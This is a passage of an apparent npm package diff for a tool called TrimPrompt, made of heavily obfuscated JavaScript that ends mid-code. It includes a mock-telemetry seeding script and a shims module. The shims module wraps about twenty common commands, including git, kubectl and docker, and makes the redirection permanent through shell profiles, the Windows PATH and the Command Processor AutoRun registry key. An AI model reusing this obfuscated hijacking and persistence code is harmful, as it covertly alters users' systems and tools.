_0x35c799=['[INFO]\x20Building\x20modules...\x0a','log','test_db.py\x20PASS\x0a','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','Step\x201/10\x20:\x20FROM\x20node:20\x0a','test_api.py\x20PASS\x0a','test_auth.py\x20PASS\x0a','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','repeat','Optimizing\x20assets...\x0a','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','All\x20303\x20tests\x20passed\x20in\x204.22s.','logExecution','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','__esModule','117qGmFGh','docker\x20build\x20.','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','7KNJWAq','./tracker','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','6795612sBdsfl','3089020gXaSeb','2870395GHZSlO','1613552UjYZrZ','932424dAaGfB','91854bWgZjK','tracker','gemini-1-5-pro','Successfully\x20built\x20image.','26457669JEMzNq','npm\x20run\x20build'];a0_0xd6a5=function(){return _0x35c799;};return a0_0xd6a5();}const tracker_1=require(a0_0x3eecdb(0xa3));console[a0_0x3eecdb(0x91)](a0_0x3eecdb(0x9d)),process.env.TRIMPROMPT_MODEL='claude-3-opus',tracker_1[a0_0x3eecdb(0xab)][a0_0x3eecdb(0x9c)](a0_0x3eecdb(0x8f),'Compilation\x20Output:\x0a'+a0_0x3eecdb(0x90)+a0_0x3eecdb(0x99)+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'[a0_0x3eecdb(0x98)](0x190),'[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)',0x0),process.env.TRIMPROMPT_MODEL='gpt-4o',tracker_1['tracker'][a0_0x3eecdb(0x9c)]('pytest\x20tests/app','Test\x20suite\x20run\x20starting...\x0a'+a0_0x3eecdb(0x96)+a0_0x3eecdb(0x92)+a0_0x3eecdb(0x95)['repeat'](0x12c)+a0_0x3eecdb(0x9b),a0_0x3eecdb(0xa4),0x0),process.env.TRIMPROMPT_MODEL=a0_0x3eecdb(0x8c),tracker_1[a0_0x3eecdb(0xab)]['logExecution'](a0_0x3eecdb(0xa0),a0_0x3eecdb(0x9a)+a0_0x3eecdb(0x94)+a0_0x3eecdb(0x97)+a0_0x3eecdb(0x93)+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x3eecdb(0x98)](0x3)+a0_0x3eecdb(0x8d),a0_0x3eecdb(0xa1),0x0),console[a0_0x3eecdb(0x91)]('Database\x20successfully\x20seeded!');
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x89ff(_0x30e46a,_0x15e9fb){_0x30e46a=_0x30e46a-0xa5;const _0x1f193d=a0_0x1f19();let _0x89ffc4=_0x1f193d[_0x30e46a];return _0x89ffc4;}const a0_0x3a2dde=a0_0x89ff;(function(_0x419b80,_0x2885bb){const _0x2b9f86=a0_0x89ff,_0x546572=_0x419b80();while(!![]){try{const _0x404881=-parseInt(_0x2b9f86(0xd1))/0x1*(-parseInt(_0x2b9f86(0xf2))/0x2)+parseInt(_0x2b9f86(0xeb))/0x3*(-parseInt(_0x2b9f86(0xf5))/0x4)+-parseInt(_0x2b9f86(0xb5))/0x5+parseInt(_0x2b9f86(0xc3))/0x6*(parseInt(_0x2b9f86(0x10b))/0x7)+parseInt(_0x2b9f86(0xb7))/0x8*(-parseInt(_0x2b9f86(0xe8))/0x9)+-parseInt(_0x2b9f86(0xf8))/0xa*(parseInt(_0x2b9f86(0xdc))/0xb)+parseInt(_0x2b9f86(0xcb))/0xc;if(_0x404881===_0x2885bb)break;else _0x546572['push'](_0x546572['shift']());}catch(_0xe666df){_0x546572['push'](_0x546572['shift']());}}}(a0_0x1f19,0xba4ec));var __createBinding=this&&this[a0_0x3a2dde(0xc5)]||(Object[a0_0x3a2dde(0xd5)]?function(_0x2a76bb,_0x8d6ed5,_0x256b89,_0x2cfd3c){const _0x197b03=a0_0x3a2dde;if(_0x2cfd3c===undefined)_0x2cfd3c=_0x256b89;var _0x22b5d5=Object[_0x197b03(0xcc)](_0x8d6ed5,_0x256b89);(!_0x22b5d5||(_0x197b03(0xb0)in _0x22b5d5?!_0x8d6ed5[_0x197b03(0xe5)]:_0x22b5d5[_0x197b03(0xe7)]||_0x22b5d5['configurable']))&&(_0x22b5d5={'enumerable':!![],'get':function(){return _0x8d6ed5[_0x256b89];}}),Object[_0x197b03(0xab)](_0x2a76bb,_0x2cfd3c,_0x22b5d5);}:function(_0xc6604e,_0x3f489f,_0x2044d6,_0xc46d85){if(_0xc46d85===undefined)_0xc46d85=_0x2044d6;_0xc6604e[_0xc46d85]=_0x3f489f[_0x2044d6];}),__setModuleDefault=this&&this[a0_0x3a2dde(0xde)]||(Object[a0_0x3a2dde(0xd5)]?function(_0x448891,_0x402b6e){const _0x12808c=a0_0x3a2dde;Object[_0x12808c(0xab)](_0x448891,'default',{'enumerable':!![],'value':_0x402b6e});}:function(_0x2c8d34,_0x302154){const _0x163edf=a0_0x3a2dde;_0x2c8d34[_0x163edf(0x114)]=_0x302154;}),__importStar=this&&this[a0_0x3a2dde(0x102)]||(function(){var _0x13293b=function(_0x262b81){return _0x13293b=Object['getOwnPropertyNames']||function(_0xb39e90){const _0x4ab099=a0_0x89ff;var _0x3333bb=[];for(var _0x1070e5 in _0xb39e90)if(Object['prototype'][_0x4ab099(0xf6)][_0x4ab099(0x11a)](_0xb39e90,_0x1070e5))_0x3333bb[_0x3333bb[_0x4ab099(0xfa)]]=_0x1070e5;return _0x3333bb;},_0x13293b(_0x262b81);};return function(_0x14f0e3){const _0x1e2830=a0_0x89ff;if(_0x14f0e3&&_0x14f0e3[_0x1e2830(0xe5)])return _0x14f0e3;var _0x107982={};if(_0x14f0e3!=null){for(var _0x38738e=_0x13293b(_0x14f0e3),_0x4cef06=0x0;_0x4cef06<_0x38738e[_0x1e2830(0xfa)];_0x4cef06++)if(_0x38738e[_0x4cef06]!==_0x1e2830(0x114))__createBinding(_0x107982,_0x14f0e3,_0x38738e[_0x4cef06]);}return __setModuleDefault(_0x107982,_0x14f0e3),_0x107982;};}());Object[a0_0x3a2dde(0xab)](exports,a0_0x3a2dde(0xe5),{'value':!![]}),exports[a0_0x3a2dde(0xc2)]=installShims,exports[a0_0x3a2dde(0xe0)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3a2dde(0xd9))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls','tree','cat',a0_0x3a2dde(0xf0),a0_0x3a2dde(0xba),'rg','ruff',a0_0x3a2dde(0x110),'gh',a0_0x3a2dde(0xae),a0_0x3a2dde(0xe3),a0_0x3a2dde(0xa7),a0_0x3a2dde(0xe6),a0_0x3a2dde(0xec),a0_0x3a2dde(0xc0),'kubectl',a0_0x3a2dde(0xa9),a0_0x3a2dde(0xbe),a0_0x3a2dde(0xdb),'pip3','go'],PROFILE_MARKER='TrimPrompt\x20Shims\x20PATH';function getExecSync(){const _0xb54f7b=a0_0x3a2dde;return require(_0xb54f7b(0xd8))[_0xb54f7b(0xaa)];}function a0_0x1f19(){const _0x16df6d=['powershell.exe','$PROFILE.CurrentUserCurrentHost',';%PATH%\x22','default','\x20commands.\x0a\x0a','\x20\x22$@\x22\x0a','.trimprompt','readFileSync','.bashrc','call','message','replace','npm','join','docker','execSync','defineProperty','\x0a#\x20','755','glab','push','get','.cmd','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','homedir','7354675KjKRil','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','10025896xjyykH','@echo\x20off\x0atrim\x20','\x20&\x20','grep',';\x22\x20+\x20$env:PATH\x0a','shims',':$PATH\x22','pytest','\x22\x20set\x20\x22PATH=','yarn','trim.ps1','installShims','18elFWmm','map','__createBinding','\x20%*\x0a','includes','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','\x20@args\x0a','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','32735568PziOFR','getOwnPropertyDescriptor','filter','Remove-ItemProperty\x20-Path\x20\x27','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','chmodSync','10NfVqGO','execFileSync','-Command','Failed\x20to\x20install\x20shims:\x20','create','export\x20PATH=\x22','platform','child_process','path','powershell\x20-NoProfile\x20-Command\x20\x22','pip','22VEdUVQ','powershell','__setModuleDefault','trim','uninstallShims','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','unlinkSync','cargo','New-Item\x20-Path\x20\x27','__esModule','pnpm','writable','9eDnxFg','.ps1','\x0aexport\x20PATH=\x22','681135RzDwej','npx','mkdirSync','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','.bash_profile','read','ignore','152454RaQfnH','utf8','some','4pVnVYO','hasOwnProperty','\x0a$env:PATH\x20=\x20\x22','4718570iGlvuT','existsSync','length','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','toLowerCase','.zshrc','writeFileSync','Failed\x20to\x20uninstall\x20shims:\x20','appendFileSync','-NoProfile','__importStar','$PROFILE.CurrentUserAllHosts','pipe',':$PATH\x22\x0a','split','win32','rmdirSync','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','\x27,\x20\x27User\x27)','2724897fhrTwp','if\x20exist\x20\x22','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','git'];a0_0x1f19=function(){return _0x16df6d;};return a0_0x1f19();}function getExecFileSync(){const _0x110a6d=a0_0x3a2dde;return require(_0x110a6d(0xd8))[_0x110a6d(0xd2)];}function ensureProfileContains(_0x301de6,_0x1be14a,_0x2904a7){const _0xe8c261=a0_0x3a2dde;try{const _0xbc1aac=path['dirname'](_0x301de6);!fs[_0xe8c261(0xf9)](_0xbc1aac)&&fs['mkdirSync'](_0xbc1aac,{'recursive':!![]});if(fs[_0xe8c261(0xf9)](_0x301de6)){const _0x1372d2=fs[_0xe8c261(0x118)](_0x301de6,'utf8');if(_0x1372d2[_0xe8c261(0xc7)](_0x1be14a))return;fs[_0xe8c261(0x100)](_0x301de6,_0x2904a7,_0xe8c261(0xf3));}else fs['writeFileSync'](_0x301de6,_0x2904a7,_0xe8c261(0xf3));}catch{}}function removeProfileBlock(_0x5895e4,_0x696296){const _0x215c1f=a0_0x3a2dde;try{if(!fs[_0x215c1f(0xf9)](_0x5895e4))return;const _0x1ff1a1=fs['readFileSync'](_0x5895e4,_0x215c1f(0xf3));if(!_0x1ff1a1[_0x215c1f(0xc7)](_0x696296))return;const _0x49b64c=_0x1ff1a1[_0x215c1f(0x106)]('\x0a'),_0x534eb5=[];let _0x45f852=![];for(let _0x2d57e6=0x0;_0x2d57e6<_0x49b64c[_0x215c1f(0xfa)];_0x2d57e6++){if(_0x49b64c[_0x2d57e6][_0x215c1f(0xc7)](_0x696296)){_0x45f852=!![];continue;}if(_0x45f852){_0x45f852=![];continue;}_0x534eb5['push'](_0x49b64c[_0x2d57e6]);}const _0x577c5f=_0x534eb5[_0x215c1f(0xa8)]('\x0a')[_0x215c1f(0xa6)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x5895e4,_0x577c5f,'utf8');}catch{}}function collectPowerShellProfiles(){const _0x307ea5=a0_0x3a2dde,_0x26db62=getExecSync(),_0x1155b8=[],_0x499311=[['powershell',_0x307ea5(0x112)],[_0x307ea5(0xdd),_0x307ea5(0x103)]];try{_0x26db62('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x307ea5(0xf1)}),_0x499311['push'](['pwsh',_0x307ea5(0x103)]);}catch{}for(const [_0x52e726,_0x43c90d]of _0x499311){try{const _0x48b79f=_0x26db62(_0x52e726+'\x20-NoProfile\x20-Command\x20\x22'+_0x43c90d+'\x22',{'encoding':'utf8'})[_0x307ea5(0xdf)]();_0x48b79f&&!_0x1155b8[_0x307ea5(0xf4)](_0x25b657=>_0x25b657[_0x307ea5(0xfc)]()===_0x48b79f[_0x307ea5(0xfc)]())&&_0x1155b8[_0x307ea5(0xaf)](_0x48b79f);}catch{}}return _0x1155b8;}function getBashProfilesWindows(){const _0x27e5fb=a0_0x3a2dde,_0x413288=os['homedir']();return[_0x27e5fb(0x119),_0x27e5fb(0xef)][_0x27e5fb(0xc4)](_0x545195=>path[_0x27e5fb(0xa8)](_0x413288,_0x545195));}function getBroadcastCommand(){const _0xf41190=a0_0x3a2dde;return _0xf41190(0xb3);}function installShims(){const _0x2eeaf7=a0_0x3a2dde,_0x39a940=path[_0x2eeaf7(0xa8)](os[_0x2eeaf7(0xb4)](),'.trimprompt',_0x2eeaf7(0xbc));try{!fs[_0x2eeaf7(0xf9)](_0x39a940)&&fs[_0x2eeaf7(0xed)](_0x39a940,{'recursive':!![]});const _0x2efcc2=os[_0x2eeaf7(0xd7)]()===_0x2eeaf7(0x107);for(const _0x517982 of SHIMMED_COMMANDS){if(_0x2efcc2){const _0x1556cf=path[_0x2eeaf7(0xa8)](_0x39a940,_0x517982+_0x2eeaf7(0xb1));fs[_0x2eeaf7(0xfe)](_0x1556cf,_0x2eeaf7(0xb8)+_0x517982+_0x2eeaf7(0xc6),_0x2eeaf7(0xf3));const _0x4155ce=path[_0x2eeaf7(0xa8)](_0x39a940,_0x517982+_0x2eeaf7(0xe9));fs[_0x2eeaf7(0xfe)](_0x4155ce,'&\x20trim\x20'+_0x517982+_0x2eeaf7(0xc9),_0x2eeaf7(0xf3));const _0xf7daa7=path[_0x2eeaf7(0xa8)](_0x39a940,_0x517982);fs[_0x2eeaf7(0xfe)](_0xf7daa7,'#!/bin/sh\x0aexec\x20trim\x20'+_0x517982+_0x2eeaf7(0x116),_0x2eeaf7(0xf3));}else{const _0x4ce78a=path[_0x2eeaf7(0xa8)](_0x39a940,_0x517982);fs[_0x2eeaf7(0xfe)](_0x4ce78a,'#!/bin/sh\x0aexec\x20trim\x20'+_0x517982+_0x2eeaf7(0x116),_0x2eeaf7(0xf3)),fs[_0x2eeaf7(0xd0)](_0x4ce78a,_0x2eeaf7(0xad));}}let _0x3dbe5c=![],_0x11f315='';if(_0x2efcc2)try{const _0x38887b=getExecSync(),_0x5c8444=_0x2eeaf7(0xac)+PROFILE_MARKER+_0x2eeaf7(0xf7)+_0x39a940+_0x2eeaf7(0xbb),_0x3bba34=collectPowerShellProfiles();for(const _0x4b8908 of _0x3bba34){ensureProfileContains(_0x4b8908,_0x39a940,_0x5c8444);}try{const _0x16855a=getExecFileSync(),_0x3cd951=_0x2eeaf7(0x10c)+_0x39a940+_0x2eeaf7(0xbf)+_0x39a940+_0x2eeaf7(0x113),_0x1d5266=_0x2eeaf7(0xcf);let _0x2f39ee='';try{const _0x167b74=_0x2eeaf7(0xee)+_0x1d5266+_0x2eeaf7(0xe1);_0x2f39ee=_0x16855a(_0x2eeaf7(0x111),[_0x2eeaf7(0x101),_0x2eeaf7(0xd3),_0x167b74],{'encoding':_0x2eeaf7(0xf3),'stdio':[_0x2eeaf7(0x104),_0x2eeaf7(0x104),_0x2eeaf7(0xf1)]})[_0x2eeaf7(0xdf)]();}catch{}if(!_0x2f39ee[_0x2eeaf7(0xc7)](_0x39a940)){const _0x43751f=_0x2f39ee?_0x2f39ee+_0x2eeaf7(0xb9)+_0x3cd951:_0x3cd951,_0x1895ff=_0x2eeaf7(0xe4)+_0x1d5266+_0x2eeaf7(0x10e)+_0x1d5266+'\x27\x20-Name\x20AutoRun\x20-Value\x20\x27'+_0x43751f+'\x27';_0x16855a(_0x2eeaf7(0x111),[_0x2eeaf7(0x101),_0x2eeaf7(0xd3),_0x1895ff],{'stdio':_0x2eeaf7(0xf1)});}}catch{}try{const _0x118e05=_0x39a940[_0x2eeaf7(0xa6)](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0x442a21,_0xf1af22)=>'/'+_0xf1af22[_0x2eeaf7(0xfc)]()),_0x1cac12=_0x2eeaf7(0xac)+PROFILE_MARKER+_0x2eeaf7(0xea)+_0x118e05+_0x2eeaf7(0x105),_0x44d83b=getBashProfilesWindows();let _0x5ab5af=![];for(const _0x479529 of _0x44d83b){fs['existsSync'](_0x479529)&&(ensureProfileContains(_0x479529,_0x118e05,_0x1cac12),_0x5ab5af=!![]);}!_0x5ab5af&&ensureProfileContains(_0x44d83b[0x0],_0x118e05,_0x1cac12);}catch{}const _0x32c702=_0x2eeaf7(0xb2),_0x4a9a7c=_0x38887b(_0x2eeaf7(0xda)+_0x32c702+'\x22',{'encoding':_0x2eeaf7(0xf3),'stdio':[_0x2eeaf7(0x104),'pipe','ignore']})[_0x2eeaf7(0xdf)]();if(!_0x4a9a7c[_0x2eeaf7(0xc7)](_0x39a940)){const _0x34f0b2=_0x39a940+';'+_0x4a9a7c,_0x14a7c4=_0x34f0b2[_0x2eeaf7(0xa6)](/'/g,'\x27\x27'),_0xad66a7=_0x2eeaf7(0xfb)+_0x14a7c4+'\x27,\x20\x27User\x27)';_0x38887b(_0x2eeaf7(0xda)+_0xad66a7+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}const _0x4d914f=path[_0x2eeaf7(0xa8)](process.env.APPDATA||'','npm',_0x2eeaf7(0xc1));if(fs[_0x2eeaf7(0xf9)](_0x4d914f))try{fs['unlinkSync'](_0x4d914f);}catch{}_0x3dbe5c=!![];}catch(_0x18b921){_0x11f315=_0x2eeaf7(0xca)+_0x39a940;}else try{const _0x30ca1a=_0x2eeaf7(0xd6)+_0x39a940+':$PATH\x22\x0a',_0x5772d3=os[_0x2eeaf7(0xb4)](),_0x57ad60=[_0x2eeaf7(0x119),_0x2eeaf7(0xfd),_0x2eeaf7(0xef),'.profile'];let _0x119eeb=![];for(const _0xa462b7 of _0x57ad60){const _0xbca1b6=path[_0x2eeaf7(0xa8)](_0x5772d3,_0xa462b7);fs[_0x2eeaf7(0xf9)](_0xbca1b6)&&(ensureProfileContains(_0xbca1b6,_0x39a940,_0x2eeaf7(0xac)+PROFILE_MARKER+'\x0a'+_0x30ca1a),_0x119eeb=!![]);}if(!_0x119eeb){const _0x244e22=path[_0x2eeaf7(0xa8)](_0x5772d3,_0x2eeaf7(0x119));ensureProfileContains(_0x244e22,_0x39a940,_0x2eeaf7(0xac)+PROFILE_MARKER+'\x0a'+_0x30ca1a);}_0x3dbe5c=!![];}catch(_0x4dcfbc){_0x11f315='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x39a940+_0x2eeaf7(0xbd);}const _0x561ffd=_0x2eeaf7(0xc8)+SHIMMED_COMMANDS[_0x2eeaf7(0xfa)]+_0x2eeaf7(0x115),_0x4384d1=_0x3dbe5c?_0x561ffd+'[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.':_0x561ffd+_0x2eeaf7(0x10f)+_0x11f315;return{'success':!![],'pathDir':_0x39a940,'message':_0x4384d1};}catch(_0x1c34b2){return{'success':![],'pathDir':_0x39a940,'message':_0x2eeaf7(0xd4)+_0x1c34b2[_0x2eeaf7(0xa5)]};}}function uninstallShims(){const _0x98c753=a0_0x3a2dde,_0x44359b=path['join'](os[_0x98c753(0xb4)](),_0x98c753(0x117),'shims'),_0x4f01c5=os['platform']()===_0x98c753(0x107);try{if(_0x4f01c5){const _0x23dfbb=getExecSync();try{const _0x501426=getExecFileSync(),_0x5537a1='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x273822=_0x98c753(0xee)+_0x5537a1+_0x98c753(0xe1),_0x580310=_0x501426(_0x98c753(0x111),[_0x98c753(0x101),_0x98c753(0xd3),_0x273822],{'encoding':'utf8','stdio':[_0x98c753(0x104),_0x98c753(0x104),_0x98c753(0xf1)]})[_0x98c753(0xdf)]();if(_0x580310[_0x98c753(0xc7)](_0x44359b)){const _0x1b48a4=_0x580310['split'](_0x98c753(0xb9))[_0x98c753(0xcd)](_0x2cc14a=>!_0x2cc14a[_0x98c753(0xc7)](_0x44359b));if(_0x1b48a4[_0x98c753(0xfa)]===0x0){const _0x5656be=_0x98c753(0xce)+_0x5537a1+_0x98c753(0x109);_0x501426('powershell.exe',[_0x98c753(0x101),_0x98c753(0xd3),_0x5656be],{'stdio':'ignore'});}else{const _0x396e3d=_0x1b48a4[_0x98c753(0xa8)](_0x98c753(0xb9)),_0x4a54ab='Set-ItemProperty\x20-Path\x20\x27'+_0x5537a1+_0x98c753(0xb6)+_0x396e3d+'\x27';_0x501426(_0x98c753(0x111),[_0x98c753(0x101),'-Command',_0x4a54ab],{'stdio':'ignore'});}}}catch{}try{const _0x764e47=collectPowerShellProfiles();for(const _0x10acd8 of _0x764e47){removeProfileBlock(_0x10acd8,PROFILE_MARKER);}}catch{}try{for(const _0x88b3db of getBashProfilesWindows()){removeProfileBlock(_0x88b3db,PROFILE_MARKER);}}catch{}try{const _0x35b623='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0xf51a96=_0x23dfbb(_0x98c753(0xda)+_0x35b623+'\x22',{'encoding':_0x98c753(0xf3),'stdio':[_0x98c753(0x104),_0x98c753(0x104),_0x98c753(0xf1)]})[_0x98c753(0xdf)]();if(_0xf51a96['includes'](_0x44359b)){const _0x5c0ba6=_0xf51a96[_0x98c753(0x106)](';')[_0x98c753(0xcd)](_0x14914d=>_0x14914d[_0x98c753(0xdf)]()[_0x98c753(0xfc)]()!==_0x44359b['toLowerCase']())['join'](';'),_0x3073d4=_0x5c0ba6[_0x98c753(0xa6)](/'/g,'\x27\x27'),_0x1c335e=_0x98c753(0xfb)+_0x3073d4+_0x98c753(0x10a);_0x23dfbb('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x1c335e+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x98c753(0xf1)});}}catch{}}else{const _0x51e1ef=os['homedir'](),_0x2d0cf1=['.bashrc',_0x98c753(0xfd),'.bash_profile','.profile'];for(const _0x35233e of _0x2d0cf1){removeProfileBlock(path[_0x98c753(0xa8)](_0x51e1ef,_0x35233e),PROFILE_MARKER);}}if(fs[_0x98c753(0xf9)](_0x44359b)){const _0x5246ca=fs['readdirSync'](_0x44359b);for(const _0x32cff6 of _0x5246ca){fs[_0x98c753(0xe2)](path[_0x98c753(0xa8)](_0x44359b,_0x32cff6));}fs[_0x98c753(0x108)](_0x44359b);}return{'success':!![],'message':_0x98c753(0x10d)};}catch(_0x3dc12d){return{'success':![],'message':_0x98c753(0xff)+_0x3dc12d[_0x98c753(0xa5)]};}}
1
+ 'use strict';const a0_0x93d41c=a0_0xfa8d;(function(_0x3b0244,_0x98831d){const _0x44aac3=a0_0xfa8d,_0x3e0c47=_0x3b0244();while(!![]){try{const _0x14b9df=-parseInt(_0x44aac3(0xab))/0x1*(parseInt(_0x44aac3(0xa1))/0x2)+-parseInt(_0x44aac3(0xd6))/0x3*(-parseInt(_0x44aac3(0x9a))/0x4)+-parseInt(_0x44aac3(0x98))/0x5*(parseInt(_0x44aac3(0x10c))/0x6)+-parseInt(_0x44aac3(0xb3))/0x7+-parseInt(_0x44aac3(0x106))/0x8+-parseInt(_0x44aac3(0xc2))/0x9*(-parseInt(_0x44aac3(0xc9))/0xa)+-parseInt(_0x44aac3(0x108))/0xb*(-parseInt(_0x44aac3(0x105))/0xc);if(_0x14b9df===_0x98831d)break;else _0x3e0c47['push'](_0x3e0c47['shift']());}catch(_0x2b02b7){_0x3e0c47['push'](_0x3e0c47['shift']());}}}(a0_0x3ef0,0x5af59));function a0_0x3ef0(){const _0x428c81=['pip','5MHciCi','.bashrc','848176hIUYXk','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','@echo\x20off','.bash_profile','writeFileSync','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','308410ATKCiC','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','Remove-ItemProperty\x20-Path\x20\x27','.zshrc','.cmd','getOwnPropertyDescriptor','ignore','\x20@args\x20}\x20else\x20{\x20&\x20','ruff','1hfWfzG','\x22\x20set\x20\x22PATH=','\x20\x20trim\x20','platform','defineProperty','join','read','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','3129322fIMsCZ','tree','__setModuleDefault','npx','-NoProfile','existsSync','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','message','cargo','\x20-NoProfile\x20-Command\x20\x22','trim.cmd','glab','\x0a#\x20','push','create','36DZMiSp','grep','get','TrimPrompt\x20Shims\x20PATH','readdirSync','installShims','.trimprompt','1149660plrBAB','__createBinding','split','pip3','\x20\x20set\x20\x22PATH=%PATH:','filter','configurable','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','\x20&\x20','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','$PROFILE.CurrentUserAllHosts','\x0aexport\x20PATH=\x22','dirname','6sGqzJf','map','.profile','\x27,\x20\x27User\x27)','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','npm','trim','some','utf8',';=%\x22','powershell\x20-NoProfile\x20-Command\x20\x22','readFileSync','execFileSync',';\x22\x20+\x20$env:PATH\x0a','.ps1',')\x20else\x20(','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','getOwnPropertyNames','shims','__esModule','child_process','\x20%*','docker','chmodSync','\x20\x22$@\x22;\x20fi\x0a','path','\x20commands.\x0a\x0a','includes','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','kubectl','hasOwnProperty','win32','rmdirSync',':$PATH\x22','replace','export\x20PATH=\x22','__importStar','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','New-Item\x20-Path\x20\x27',':$PATH\x22\x0a','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','length',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','-Command','toLowerCase','appendFileSync','12chFGZG','4963056lCxoeE','default','10466159yzUepm','if\x20exist\x20\x22','uninstallShims','yarn','1447314CPopQA','mkdirSync','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','unlinkSync','cat','call','powershell.exe','pipe','writable','if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','execSync','prototype','homedir','Failed\x20to\x20uninstall\x20shims:\x20','pwsh'];a0_0x3ef0=function(){return _0x428c81;};return a0_0x3ef0();}function a0_0xfa8d(_0x511354,_0x525d5e){_0x511354=_0x511354-0x8f;const _0x3ef0b1=a0_0x3ef0();let _0xfa8d38=_0x3ef0b1[_0x511354];return _0xfa8d38;}var 